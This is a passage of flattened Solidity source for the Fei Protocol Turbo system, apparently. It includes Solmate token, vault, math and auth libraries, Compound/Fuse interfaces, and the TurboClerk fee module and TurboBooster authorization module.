//////////////////////////////////////////////////////////////*/ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual { require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); // Unchecked because the only math done is incrementing // the owner's nonce which cannot realistically overflow. unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner, spender, value, nonces[owner]++, deadline ) ) ) ), v, r, s ); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); allowance[recoveredAddress][spender] = value; } emit Approval(owner, spender, value); } function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); } function computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /*/////////////////////////////////////////////////////////////// INTERNAL MINT/BURN LOGIC //////////////////////////////////////////////////////////////*/ function _mint(address to, uint256 amount) internal virtual { totalSupply += amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(address(0), to, amount); } function _burn(address from, uint256 amount) internal virtual { balanceOf[from] -= amount; // Cannot underflow because a user's balance // will never be larger than the total supply. unchecked { totalSupply -= amount; } emit Transfer(from, address(0), amount); } } /// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol) /// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer. /// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller. library SafeTransferLib { event Debug(bool one, bool two, uint256 retsize); /*/////////////////////////////////////////////////////////////// ETH OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferETH(address to, uint256 amount) internal { bool success; assembly { // Transfer the ETH and store if it succeeded or not. success := call(gas(), to, amount, 0, 0, 0, 0) } require(success, "ETH_TRANSFER_FAILED"); } /*/////////////////////////////////////////////////////////////// ERC20 OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferFrom( ERC20 token, address from, address to, uint256 amount ) internal { bool success; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) mstore(add(freeMemoryPointer, 4), from) // Append the "from" argument. mstore(add(freeMemoryPointer, 36), to) // Append the "to" argument. mstore(add(freeMemoryPointer, 68), amount) // Append the "amount" argument. success := and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (not just any non-zero data), or had no return data. or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // We use 100 because the length of our calldata totals up like so: 4 + 32 * 3. // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. // Counterintuitively, this call must be positioned second to the addition in the // order of operations or else returndatasize() will be zero during the computation. call(gas(), token, 0, freeMemoryPointer, 100, 0, 32) ) } require(success, "TRANSFER_FROM_FAILED"); } function safeTransfer( ERC20 token, address to, uint256 amount ) internal { bool success; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) mstore(add(freeMemoryPointer, 4), to) // Append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Append the "amount" argument. success := and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (not just any non-zero data), or had no return data. or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // We use 68 because the length of our calldata totals up like so: 4 + 32 * 2. // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. // Counterintuitively, this call must be positioned second to the addition in the // order of operations or else returndatasize() will be zero during the computation. call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) ) } require(success, "TRANSFER_FAILED"); } function safeApprove( ERC20 token, address to, uint256 amount ) internal { bool success; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) mstore(add(freeMemoryPointer, 4), to) // Append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Append the "amount" argument. success := and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (not just any non-zero data), or had no return data. or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // We use 68 because the length of our calldata totals up like so: 4 + 32 * 2. // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. // Counterintuitively, this call must be positioned second to the addition in the // order of operations or else returndatasize() will be zero during the computation. call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) ) } require(success, "APPROVE_FAILED"); } } /// @notice Arithmetic library with operations for fixed-point numbers. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol) /// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol) library FixedPointMathLib { /*/////////////////////////////////////////////////////////////// SIMPLIFIED FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s. function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down. } function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up. } function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down. } function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up. } /*/////////////////////////////////////////////////////////////// LOW LEVEL FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ function mulDivDown( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { revert(0, 0) } // Divide z by the denominator. z := div(z, denominator) } } function mulDivUp( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { revert(0, 0) } // First, divide z - 1 by the denominator and add 1. // We allow z - 1 to underflow if z is 0, because we multiply the // end result by 0 if z is zero, ensuring we return 0 if z is zero. z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1)) } } function rpow( uint256 x, uint256 n, uint256 scalar ) internal pure returns (uint256 z) { assembly { switch x case 0 { switch n case 0 { // 0 ** 0 = 1 z := scalar } default { // 0 ** n = 0 z := 0 } } default { switch mod(n, 2) case 0 { // If n is even, store scalar in z for now. z := scalar } default { // If n is odd, store x in z for now. z := x } // Shifting right by 1 is like dividing by 2. let half := shr(1, scalar) for { // Shift n right by 1 before looping to halve it. n := shr(1, n) } n { // Shift n right by 1 each iteration to halve it. n := shr(1, n) } { // Revert immediately if x ** 2 would overflow. // Equivalent to iszero(eq(div(xx, x), x)) here. if shr(128, x) { revert(0, 0) } // Store x squared. let xx := mul(x, x) // Round to the nearest number. let xxRound := add(xx, half) // Revert if xx + half overflowed. if lt(xxRound, xx) { revert(0, 0) } // Set x to scaled xxRound. x := div(xxRound, scalar) // If n is even: if mod(n, 2) { // Compute z * x. let zx := mul(z, x) // If z * x overflowed: if iszero(eq(div(zx, x), z)) { // Revert if x is non-zero. if iszero(iszero(x)) { revert(0, 0) } } // Round to the nearest number. let zxRound := add(zx, half) // Revert if zx + half overflowed. if lt(zxRound, zx) { revert(0, 0) } // Return properly scaled zxRound. z := div(zxRound, scalar) } } } } } /*/////////////////////////////////////////////////////////////// GENERAL NUMBER UTILITIES //////////////////////////////////////////////////////////////*/ function sqrt(uint256 x) internal pure returns (uint256 z) { assembly { // Start off with z at 1. z := 1 // Used below to help find a nearby power of 2. let y := x // Find the lowest power of 2 that is at least sqrt(x). if iszero(lt(y, 0x100000000000000000000000000000000)) { y := shr(128, y) // Like dividing by 2 ** 128. z := shl(64, z) // Like multiplying by 2 ** 64. } if iszero(lt(y, 0x10000000000000000)) { y := shr(64, y) // Like dividing by 2 ** 64. z := shl(32, z) // Like multiplying by 2 ** 32. } if iszero(lt(y, 0x100000000)) { y := shr(32, y) // Like dividing by 2 ** 32. z := shl(16, z) // Like multiplying by 2 ** 16. } if iszero(lt(y, 0x10000)) { y := shr(16, y) // Like dividing by 2 ** 16. z := shl(8, z) // Like multiplying by 2 ** 8. } if iszero(lt(y, 0x100)) { y := shr(8, y) // Like dividing by 2 ** 8. z := shl(4, z) // Like multiplying by 2 ** 4. } if iszero(lt(y, 0x10)) { y := shr(4, y) // Like dividing by 2 ** 4. z := shl(2, z) // Like multiplying by 2 ** 2. } if iszero(lt(y, 0x8)) { // Equivalent to 2 ** z. z := shl(1, z) } // Shifting right by 1 is like dividing by 2. z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) // Compute a rounded down version of z. let zRoundDown := div(x, z) // If zRoundDown is smaller, use it. if lt(zRoundDown, z) { z := zRoundDown } } } } /// @notice Minimal ERC4626 tokenized Vault implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol) /// @dev Do not use in production! ERC-4626 is still in the last call stage and is subject to change. abstract contract ERC4626 is ERC20 { using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares); event Withdraw( address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares ); /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ ERC20 public immutable asset; constructor( ERC20 _asset, string memory _name, string memory _symbol ) ERC20(_name, _symbol, _asset.decimals()) { asset = _asset; } /*/////////////////////////////////////////////////////////////// DEPOSIT/WITHDRAWAL LOGIC //////////////////////////////////////////////////////////////*/ function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) { // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); // Need to transfer before minting or ERC777s could reenter. asset.safeTransferFrom(msg.sender, address(this), assets); _mint(receiver, shares); emit Deposit(msg.sender, receiver, assets, shares); afterDeposit(assets, shares); } function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) { assets = previewMint(shares); // No need to check for rounding error, previewMint rounds up. // Need to transfer before minting or ERC777s could reenter. asset.safeTransferFrom(msg.sender, address(this), assets); _mint(receiver, shares); emit Deposit(msg.sender, receiver, assets, shares); afterDeposit(assets, shares); } function withdraw( uint256 assets, address receiver, address owner ) public virtual returns (uint256 shares) { shares = previewWithdraw(assets); // No need to check for rounding error, previewWithdraw rounds up. if (msg.sender != owner) { uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares; } beforeWithdraw(assets, shares); _burn(owner, shares); emit Withdraw(msg.sender, receiver, owner, assets, shares); asset.safeTransfer(receiver, assets); } function redeem( uint256 shares, address receiver, address owner ) public virtual returns (uint256 assets) { if (msg.sender != owner) { uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares; } // Check for rounding error since we round down in previewRedeem. require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS"); beforeWithdraw(assets, shares); _burn(owner, shares); emit Withdraw(msg.sender, receiver, owner, assets, shares); asset.safeTransfer(receiver, assets); } /*/////////////////////////////////////////////////////////////// ACCOUNTING LOGIC //////////////////////////////////////////////////////////////*/ function totalAssets() public view virtual returns (uint256); function convertToShares(uint256 assets) public view returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); } function convertToAssets(uint256 shares) public view returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply); } function previewDeposit(uint256 assets) public view virtual returns (uint256) { return convertToShares(assets); } function previewMint(uint256 shares) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares.mulDivUp(totalAssets(), supply); } function previewWithdraw(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivUp(supply, totalAssets()); } function previewRedeem(uint256 shares) public view virtual returns (uint256) { return convertToAssets(shares); } /*/////////////////////////////////////////////////////////////// DEPOSIT/WITHDRAWAL LIMIT LOGIC //////////////////////////////////////////////////////////////*/ function maxDeposit(address) public view virtual returns (uint256) { return type(uint256).max; } function maxMint(address) public view virtual returns (uint256) { return type(uint256).max; } function maxWithdraw(address owner) public view virtual returns (uint256) { return convertToAssets(balanceOf[owner]); } function maxRedeem(address owner) public view virtual returns (uint256) { return balanceOf[owner]; } /*/////////////////////////////////////////////////////////////// INTERNAL HOOKS LOGIC //////////////////////////////////////////////////////////////*/ function beforeWithdraw(uint256 assets, uint256 shares) internal virtual {} function afterDeposit(uint256 assets, uint256 shares) internal virtual {} } /// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) abstract contract Auth { event OwnerUpdated(address indexed user, address indexed newOwner); event AuthorityUpdated(address indexed user, Authority indexed newAuthority); address public owner; Authority public authority; constructor(address _owner, Authority _authority) { owner = _owner; authority = _authority; emit OwnerUpdated(msg.sender, _owner); emit AuthorityUpdated(msg.sender, _authority); } modifier requiresAuth() { require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED"); _; } function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) { Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas. // Checking if the caller is the owner only after calling the authority saves gas in most cases, but be // aware that this makes protected functions uncallable even to the owner if the authority is out of order. return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner; } function setAuthority(Authority newAuthority) public virtual { // We check if the caller is the owner first because we want to ensure they can // always swap out the authority even if it's reverting or using up a lot of gas. require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig)); authority = newAuthority; emit AuthorityUpdated(msg.sender, newAuthority); } function setOwner(address newOwner) public virtual requiresAuth { owner = newOwner; emit OwnerUpdated(msg.sender, newOwner); } } /// @notice A generic interface for a contract which provides authorization data to an Auth instance. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol) /// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol) interface Authority { function canCall( address user, address target, bytes4 functionSig ) external view returns (bool); } /// @notice Gas optimized reentrancy protection for smart contracts. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol) /// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) abstract contract ReentrancyGuard { uint256 private locked = 1; modifier nonReentrant() { require(locked == 1, "REENTRANCY"); locked = 2; _; locked = 1; } } /// @title Fei /// @author Fei Protocol /// @notice Minimal interface for the Fei token. abstract contract Fei is ERC20 { function mint(address to, uint256 amount) external virtual; } /// @title CERC20 /// @author Compound Labs and Rari Capital /// @notice Minimal Compound/Fuse Comptroller interface. abstract contract CERC20 is ERC20 { /// @notice Deposit an amount of underlying tokens to the CERC20. /// @param underlyingAmount Amount of underlying tokens to deposit. /// @return An error code or zero if there was no error in the deposit. function mint(uint256 underlyingAmount) external virtual returns (uint256); /// @notice Borrow an amount of underlying tokens from the CERC20. /// @param underlyingAmount Amount of underlying tokens to borrow. /// @return An error code or zero if there was no error in the borrow. function borrow(uint256 underlyingAmount) external virtual returns (uint256); /// @notice Repay an amount of underlying tokens to the CERC20. /// @param underlyingAmount Amount of underlying tokens to repay. /// @return An error code or zero if there was no error in the repay. function repayBorrow(uint256 underlyingAmount) external virtual returns (uint256); /// @notice Returns the underlying balance of a specific user. /// @param user The user who's balance the CERC20 will retrieve. /// @return The amount of underlying tokens the user is entitled to. function balanceOfUnderlying(address user) external view virtual returns (uint256); /// @notice Returns the amount of underlying tokens a cToken redeemable for. /// @return The amount of underlying tokens a cToken is redeemable for. function exchangeRateStored() external view virtual returns (uint256); /// @notice Withdraw a specific amount of underlying tokens from the CERC20. /// @param underlyingAmount Amount of underlying tokens to withdraw. /// @return An error code or zero if there was no error in the withdraw. function redeemUnderlying(uint256 underlyingAmount) external virtual returns (uint256); /// @notice Return teh current borrow balance of a user in the CERC20. /// @param user The user to get the borrow balance for. /// @return The current borrow balance of the user. function borrowBalanceCurrent(address user) external virtual returns (uint256); /// @notice Repay a user's borrow on their behalf. /// @param user The user who's borrow to repay. /// @param underlyingAmount The amount of debt to repay. /// @return An error code or zero if there was no error in the repayBorrowBehalf. function repayBorrowBehalf(address user, uint256 underlyingAmount) external virtual returns (uint256); } /// @notice Price Feed /// @author Compound Labs /// @notice Minimal cToken price feed interface. interface PriceFeed { /// @notice Get the underlying price of the cToken's asset. /// @param cToken The cToken to get the underlying price of. /// @return The underlying asset price scaled by 1e18. function getUnderlyingPrice(CERC20 cToken) external view returns (uint256); function add(address[] calldata underlyings, address[] calldata _oracles) external; function changeAdmin(address newAdmin) external; } /// @title Comptroller /// @author Compound Labs and Rari Capital /// @notice Minimal Compound/Fuse Comptroller interface. interface Comptroller { /// @notice Retrieves the admin of the Comptroller. /// @return The current administrator of the Comptroller. function admin() external view returns (address); /// @notice Retrieves the price feed of the Comptroller. /// @return The current price feed of the Comptroller. function oracle() external view returns (PriceFeed); /// @notice Maps underlying tokens to their equivalent cTokens in a pool. /// @param token The underlying token to find the equivalent cToken for. /// @return The equivalent cToken for the given underlying token. function cTokensByUnderlying(ERC20 token) external view returns (CERC20); /// @notice Get's data about a cToken. /// @param cToken The cToken to get data about. /// @return isListed Whether the cToken is listed in the Comptroller. /// @return collateralFactor The collateral factor of the cToken. function markets(CERC20 cToken) external view returns (bool isListed, uint256 collateralFactor); /// @notice Enters into a list of cToken markets, enabling them as collateral. /// @param cTokens The list of cTokens to enter into, enabling them as collateral. /// @return A list of error codes, or 0 if there were no failures in entering the cTokens. function enterMarkets(CERC20[] calldata cTokens) external returns (uint256[] memory); function _setPendingAdmin(address newPendingAdmin) external returns (uint256); function _setBorrowCapGuardian(address newBorrowCapGuardian) external; function _setMarketSupplyCaps( CERC20[] calldata cTokens, uint256[] calldata newSupplyCaps ) external; function _setMarketBorrowCaps( CERC20[] calldata cTokens, uint256[] calldata newBorrowCaps ) external; function _setPauseGuardian(address newPauseGuardian) external returns (uint256); function _setMintPaused(CERC20 cToken, bool state) external returns (bool); function _setBorrowPaused(CERC20 cToken, bool borrowPaused) external returns (bool); function _setTransferPaused(bool state) external returns (bool); function _setSeizePaused(bool state) external returns (bool); function _setPriceOracle(address newOracle) external returns (uint256); function _setCloseFactor(uint256 newCloseFactorMantissa) external returns (uint256); function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa) external returns (uint256); function _setCollateralFactor( CERC20 cToken, uint256 newCollateralFactorMantissa ) external returns (uint256); function _acceptAdmin() external virtual returns (uint256); function _deployMarket( bool isCEther, bytes calldata constructionData, uint256 collateralFactorMantissa ) external returns (uint256); function borrowGuardianPaused(address cToken) external view returns (bool); function comptrollerImplementation() external view returns (address); function rewardsDistributors(uint256 index) external view returns (address); function _addRewardsDistributor(address distributor) external returns (uint256); function _setWhitelistEnforcement(bool enforce) external returns (uint256); function _setWhitelistStatuses( address[] calldata suppliers, bool[] calldata statuses ) external returns (uint256); function _unsupportMarket(CERC20 cToken) external returns (uint256); function _toggleAutoImplementations(bool enabled) external returns (uint256); } /// @title Fuse Admin /// @author Fei Protocol /// @notice Minimal Fuse Admin interface. interface FuseAdmin { /// @notice Whitelists or blacklists a user from accessing the cTokens in the pool. /// @param users The users to whitelist or blacklist. /// @param enabled Whether to whitelist or blacklist each user. function _setWhitelistStatuses(address[] calldata users, bool[] calldata enabled) external; function _deployMarket( address underlying, address irm, string calldata name, string calldata symbol, address impl, bytes calldata data, uint256 reserveFactor, uint256 adminFee, uint256 collateralFactorMantissa ) external; } interface IReverseRegistrar { /** @notice sets reverse ENS Record @param name the ENS record to set After calling this, a user has a fully configured reverse record claiming the provided name as that account's canonical name. */ function setName(string memory name) external returns (bytes32); } /** @title helper contract to set reverse ens record with solmate Auth @author joeysantoro @notice sets reverse ENS record against canonical ReverseRegistrar https://docs.ens.domains/contract-api-reference/reverseregistrar. */ abstract contract ENSReverseRecordAuth is Auth { /// @notice the ENS Reverse Registrar IReverseRegistrar public constant REVERSE_REGISTRAR = IReverseRegistrar(0x084b1c3C81545d370f3634392De611CaaBFf8148); function setENSName(string memory name) external requiresAuth { REVERSE_REGISTRAR.setName(name); } } /// @title Turbo Clerk /// @author Transmissions11 /// @notice Fee determination module for Turbo Safes. contract TurboClerk is Auth, ENSReverseRecordAuth { /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Clerk contract. /// @param _owner The owner of the Clerk. /// @param _authority The Authority of the Clerk. constructor(address _owner, Authority _authority) Auth(_owner, _authority) {} /*/////////////////////////////////////////////////////////////// DEFAULT FEE CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice The default fee on Safe interest taken by the protocol. /// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%. uint256 public defaultFeePercentage; /// @notice Emitted when the default fee percentage is updated. /// @param newDefaultFeePercentage The new default fee percentage. event DefaultFeePercentageUpdated(address indexed user, uint256 newDefaultFeePercentage); /// @notice Sets the default fee percentage. /// @param newDefaultFeePercentage The new default fee percentage. function setDefaultFeePercentage(uint256 newDefaultFeePercentage) external requiresAuth { // A fee percentage over 100% makes no sense. require(newDefaultFeePercentage <= 1e18, "FEE_TOO_HIGH"); // Update the default fee percentage. defaultFeePercentage = newDefaultFeePercentage; emit DefaultFeePercentageUpdated(msg.sender, newDefaultFeePercentage); } /*/////////////////////////////////////////////////////////////// CUSTOM FEE CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice Maps collaterals to their custom fees on interest taken by the protocol. /// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%. mapping(ERC20 => uint256) public getCustomFeePercentageForCollateral; /// @notice Maps Safes to their custom fees on interest taken by the protocol. /// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%. mapping(TurboSafe => uint256) public getCustomFeePercentageForSafe; /// @notice Emitted when a collateral's custom fee percentage is updated. /// @param collateral The collateral who's custom fee percentage was updated. /// @param newFeePercentage The new custom fee percentage. event CustomFeePercentageUpdatedForCollateral( address indexed user, ERC20 indexed collateral, uint256 newFeePercentage ); /// @notice Sets a collateral's custom fee percentage. /// @param collateral The collateral to set the custom fee percentage for. /// @param newFeePercentage The new custom fee percentage for the collateral. function setCustomFeePercentageForCollateral(ERC20 collateral, uint256 newFeePercentage) external requiresAuth { // A fee percentage over 100% makes no sense. require(newFeePercentage <= 1e18, "FEE_TOO_HIGH"); // Update the custom fee percentage for the Safe. getCustomFeePercentageForCollateral[collateral] = newFeePercentage; emit CustomFeePercentageUpdatedForCollateral(msg.sender, collateral, newFeePercentage); } /// @notice Emitted when a Safe's custom fee percentage is updated. /// @param safe The Safe who's custom fee percentage was updated. /// @param newFeePercentage The new custom fee percentage. event CustomFeePercentageUpdatedForSafe(address indexed user, TurboSafe indexed safe, uint256 newFeePercentage); /// @notice Sets a Safe's custom fee percentage. /// @param safe The Safe to set the custom fee percentage for. /// @param newFeePercentage The new custom fee percentage for the Safe. function setCustomFeePercentageForSafe(TurboSafe safe, uint256 newFeePercentage) external requiresAuth { // A fee percentage over 100% makes no sense. require(newFeePercentage <= 1e18, "FEE_TOO_HIGH"); // Update the custom fee percentage for the Safe. getCustomFeePercentageForSafe[safe] = newFeePercentage; emit CustomFeePercentageUpdatedForSafe(msg.sender, safe, newFeePercentage); } /*/////////////////////////////////////////////////////////////// ACCOUNTING LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Returns the fee on interest taken by the protocol for a Safe. /// @param safe The Safe to get the fee percentage for. /// @param collateral The collateral/asset of the Safe. /// @return The fee percentage for the Safe. function getFeePercentageForSafe(TurboSafe safe, ERC20 collateral) external view returns (uint256) { // Get the custom fee percentage for the Safe. uint256 customFeePercentageForSafe = getCustomFeePercentageForSafe[safe]; // If a custom fee percentage is set for the Safe, return it. if (customFeePercentageForSafe != 0) return customFeePercentageForSafe; // Get the custom fee percentage for the collateral type. uint256 customFeePercentageForCollateral = getCustomFeePercentageForCollateral[collateral]; // If a custom fee percentage is set for the collateral, return it. if (customFeePercentageForCollateral != 0) return customFeePercentageForCollateral; // Otherwise, return the default fee percentage. return defaultFeePercentage; } } /// @title Turbo Booster /// @author Transmissions11 /// @notice Boost authorization module. contract TurboBooster is Auth, ENSReverseRecordAuth { /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Booster contract. /// @param _owner The owner of the Booster. /// @param _authority The Authority of the Booster. constructor(address _owner, Authority _authority) Auth(_owner, _authority) {} /*/////////////////////////////////////////////////////////////// GLOBAL FREEZE CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice Whether boosting is currently frozen. bool public frozen; /// @notice Emitted when boosting is frozen or unfrozen. /// @param user The user who froze or unfroze boosting. /// @param frozen Whether boosting is now frozen. event FreezeStatusUpdated(address indexed user, bool frozen); /// @notice Sets whether boosting is frozen. /// @param freeze Whether boosting will be frozen. function setFreezeStatus(bool freeze) external requiresAuth { // Update freeze status. frozen = freeze; emit FreezeStatusUpdated(msg.sender, freeze); } /*/////////////////////////////////////////////////////////////// VAULT BOOST CAP CONFIGURATION //////////////////////////////////////////////////////////////*/ ERC4626[] public boostableVaults; /// @notice exposes an array of boostable vaults. Only used for visibility. function getBoostableVaults() external view returns(ERC4626[] memory) { return boostableVaults; } /// @notice Maps Vaults to the cap on the amount of Fei used to boost them. mapping(ERC4626 => uint256) public getBoostCapForVault; /// @notice Emitted when a Vault's boost cap is updated. /// @param vault The Vault who's boost cap was updated. /// @param newBoostCap The new boost cap for the Vault. event BoostCapUpdatedForVault(address indexed user, ERC4626 indexed vault, uint256 newBoostCap); /// @notice Sets a Vault's boost cap. /// @param vault The Vault to set the boost cap for. /// @param newBoostCap The new boost cap for the Vault. function setBoostCapForVault(ERC4626 vault, uint256 newBoostCap) external requiresAuth { require(newBoostCap != 0, "cap is zero"); // Add to boostable vaults array if (getBoostCapForVault[vault] == 0) { boostableVaults.push(vault); } // Update the boost cap for the Vault. getBoostCapForVault[vault] = newBoostCap; emit BoostCapUpdatedForVault(msg.sender, vault, newBoostCap); } /*/////////////////////////////////////////////////////////////// COLLATERAL BOOST CAP CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice Maps collateral types to the cap on the amount of Fei boosted against them. mapping(ERC20 => uint256) public getBoostCapForCollateral; /// @notice Emitted when a collateral type's boost cap is updated. /// @param collateral The collateral type who's boost cap was updated. /// @param newBoostCap The new boost cap for the collateral type. event BoostCapUpdatedForCollateral(address indexed user, ERC20 indexed collateral, uint256 newBoostCap); /// @notice Sets a collateral type's boost cap. /// @param collateral The collateral type to set the boost cap for. /// @param newBoostCap The new boost cap for the collateral type. function setBoostCapForCollateral(ERC20 collateral, uint256 newBoostCap) external requiresAuth { // Update the boost cap for the collateral type. getBoostCapForCollateral[collateral] = newBoostCap; emit BoostCapUpdatedForCollateral(msg.sender, collateral, newBoostCap); } /*/////////////////////////////////////////////////////////////// AUTHORIZATION LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Returns whether a Safe is authorized to boost a Vault. /// @param safe The Safe to check is authorized to boost the Vault. /// @param collateral The collateral/asset of the Safe. /// @param vault The Vault to check the Safe is authorized to boost. /// @param feiAmount The amount of Fei asset to check the Safe is authorized boost the Vault with. /// @param newTotalBoostedForVault The total amount of Fei that will boosted to the Vault after boost (if it is not rejected). /// @param newTotalBoostedAgainstCollateral The total amount of Fei that will be boosted against the Safe's collateral type after this boost. /// @return Whether the Safe is authorized to boost the Vault with the given amount of Fei asset. function canSafeBoostVault( TurboSafe safe, ERC20 collateral, ERC4626 vault, uint256 feiAmount, uint256 newTotalBoostedForVault, uint256 newTotalBoostedAgainstCollateral ) external view returns (bool) { return !frozen && getBoostCapForVault[vault] >= newTotalBoostedForVault && getBoostCapForCollateral[collateral] >= newTotalBoostedAgainstCollateral; } } /// @title Turbo Master /// @author Transmissions11 /// @notice Factory for creating and managing Turbo Safes. /// @dev Must be authorized to call the Turbo Fuse Pool's 